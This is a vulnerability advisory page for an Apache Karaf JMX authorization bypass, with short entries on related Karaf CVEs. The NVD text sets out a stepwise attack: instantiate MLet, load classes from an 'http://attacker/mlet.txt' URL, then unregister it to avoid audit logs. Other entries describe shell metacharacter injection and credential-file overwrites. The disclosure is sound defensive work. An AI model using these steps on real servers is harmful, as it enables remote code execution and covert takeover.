CVE-2026-92142
UnknownSummary
Apache Karaf has a vulnerability in JMX MBeanServer security, where createMBean, registerMBean, and unregisterMBean operations are not subject to RBAC. This allows a user with the 'viewer' role to achieve remote code execution in the Karaf JVM by using MLet as a remote classloader.
Risk Assessment
An attacker with JMX access (even with the least-privileged role) can gain full control over the Karaf server by executing arbitrary code. The lack of audit logging for these operations makes detection difficult.
Recommendation
Upgrade to Apache Karaf 4.4.12 or 4.5.0 (or later) as soon as they are released. Until then, restrict network access to JMX ports (1099/44444) to trusted hosts and avoid issuing JMX credentials to non-admin users.
Other vulnerabilities in Apache Karaf
See all- CVE-2026-91085Unknown
Apache Karaf's config:install command is not covered by any ACL rule and is therefore allowed for any authenticated user, including one with only the viewer role. The command fetches a file from an arbitrary URL and writes it into karaf.etc, which contains security-relevant files such as users.properties, keys.properties, host.key, and all ACL configuration files. With the --override flag, existing files can be overwritten, and Felix FileInstall automatically reloads changed .cfg files without requiring a restart.
- CVE-2026-91048Unknown
A vulnerability in Apache Karaf is due to the lack of an ACL configuration file for jdbc and jms commands, allowing any authenticated shell session (even with the viewer role) to execute all jdbc:* and jms:* commands. The jdbc:ds-create command allows storing an arbitrary JDBC URL, which can lead to code execution at the connection level, bypassing the admin role gate.
- CVE-2026-91012Unknown
A vulnerability in Apache Karaf allows a user with the "manager" role to write arbitrary content to any file the Karaf process can write to. This is achieved by bypassing path checks in ConfigRepositoryImpl.update() and createFactoryConfiguration(), where the felix.fileinstall.filename value or a PID with ".." segments can point outside the ${karaf.etc} directory.
- CVE-2026-91006Unknown
Apache Karaf's instance-management service (InstanceServiceImpl) builds the command line used to launch a child Karaf JVM by string concatenation, then executes it through /bin/sh (Unix) or cscript (Windows). The caller-supplied javaOpts value is spliced into that string unquoted, allowing shell metacharacters (;, |, `, $(...)) to be interpreted by the shell, leading to arbitrary OS command execution as the Karaf process user.
- CVE-2026-92230High
Apache Karaf's XmlUtils cached XML parser/transformer factories in static ThreadLocal fields on long-lived container threads. Because a ThreadLocal value outlives the OSGi bundle that created it, repeated bundle or feature install, update, or refresh operations can leave successive bundle ClassLoader's pinned in memory and unreachable for garbage collection, leading to unbounded Metaspace growth and eventual denial of service of the Karaf instance.
Original NVD description (English source)
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
Vulnerability data from NVD (NIST) · CISA KEV · EPSS